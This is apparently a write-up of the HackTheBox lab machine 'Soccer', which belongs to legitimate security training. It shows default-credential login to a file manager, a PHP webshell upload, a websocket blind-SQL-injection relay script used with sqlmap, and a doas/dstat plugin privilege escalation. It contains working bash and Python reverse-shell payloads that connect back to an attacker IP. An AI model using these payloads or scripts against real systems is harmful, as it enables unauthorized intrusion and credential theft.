Soccer

Enumeration

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.87.222 -- -sV -sC -oA ./rust/{{ip}}
Open 10.129.87.222:22
Open 10.129.87.222:80
Open 10.129.87.222:9091

PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sat, 17 Dec 2022 22:14:17 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sat, 17 Dec 2022 22:14:18 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>

Feroxbuster

feroxbuster -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --no-recursion -k -B -x "txt,html,php,zip,rar,tar.gz" -v -e -o ./ferox.txt
200      GET     2232l     4070w   124485c http://soccer.htb/ground4.jpg
200      GET      809l     5093w   271030c http://soccer.htb/ground1.jpg
200      GET      494l     1440w    56375c http://soccer.htb/ground3.jpg
200      GET      711l     4253w   223740c http://soccer.htb/ground2.jpg
200      GET      147l      526w     6917c http://soccer.htb/index.html
200      GET      147l      526w     6917c http://soccer.htb/
403      GET        7l       10w      162c http://soccer.htb/.html
403      GET        7l       10w      162c http://soccer.htb/.html~
403      GET        7l       10w      162c http://soccer.htb/.html.bak
403      GET        7l       10w      162c http://soccer.htb/.html.bak2
403      GET        7l       10w      162c http://soccer.htb/.html.old
403      GET        7l       10w      162c http://soccer.htb/.html.1
301      GET        7l       12w      178c http://soccer.htb/tiny => http://soccer.htb/tiny/

Webpage

Nothing interesting can be found on http://soccer.htb

Checking http://soccer.htb/tiny/ will reveal a File Manager called tinyfilemanager Github: Tinyfilemanager

Exploitation

Default Credentials

We are able to login to http://soccer.htb/tiny/ by using the default credentials which are found on the Github Page. Since this is a file manager we are able to upload files.

When visiting the folder tiny we see that php is supported :)

Webshell

Go to folder tiny -> uploads and upload a php webshell of your choice.

Reverse Shell

I used wwwolf-php-webshell as php webshell and got a reverse shell using a plain old well known payload

# Shell Handling
pwncat-cs -lp 4000

# Payload
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.75/4000 0>&1"

Enumeration

While checking the system we doesn't seem to have any interesting privileges nor can we escalate directly to any user.

Once we look into the webserver configuration we identify a new vHost called soc-player.soccer.htb

server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

soc-player.soccer.htb

First we will register an account on that page. After signing in using our credentials we will be redirected to http://soc-player.soccer.htb/check.

Once we are on the /check page we'll inspect the development console of our browser which will tell us that a websocket is used to check our ticket

Request Headers

GET / HTTP/1.0
Host: soc-player.soccer.htb:9091
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://soc-player.soccer.htb
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: mcOpNlaKDJoXjG4buopqeQ==
Connection: keep-alive, Upgrade
Cookie: connect.sid=s%3ATtgCI2I1Ktr8efWAZeZYs3QraQ5hJR3V.3%2Fc3oeNjzabA2OGdmy%2BEOUM7I1AjcsrAeTEa0eP%2BRWU
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

Since there is nothing else that caught my eye I digged around and found out that we probably could try to find a blind sql injection like described on Blind SQLI over Websocket

Blind SQLI

WS MIddleware Script

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
        middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
        pass

Dumping Passwords

sqlmap -u "http://localhost:8081/?id=66570" --batch -D soccer_db -T accounts --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | XXXXXXXXXXXXXXXXXXXX | player   |
+------+-------------------+----------------------+----------+

Privilege Escalation

Enumeration

We can use the credentials obtained through the database to connect as user player via ssh.

Last but not least we'll run linpeas to check for anything that could be used for further privilege escalation. We don't see anythin interesting on the first look but notice a couple of things on a second look:

  • /usr/local/share/dstat is writeable to our user! That means we are able to create plugins

  • /usr/local/bin/doas is installed

Writeable Folders

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                                                                                                           
  Group player:                                                                                                                                                                                                                             
/usr/local/share/dstat                                                                                                                                                                                                                      

doas installed

-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas                                                                                                                                                                                 

doas.conf

permit nopass player as root cmd /usr/bin/dstat

Become Root

We will create a new dstat plugin in /usr/local/share/dstat that will execute python code.

dstat_os.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.75",4001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Load Custom Plugin

doas -u root /usr/bin/dstat --os

We are now root :)

Last updated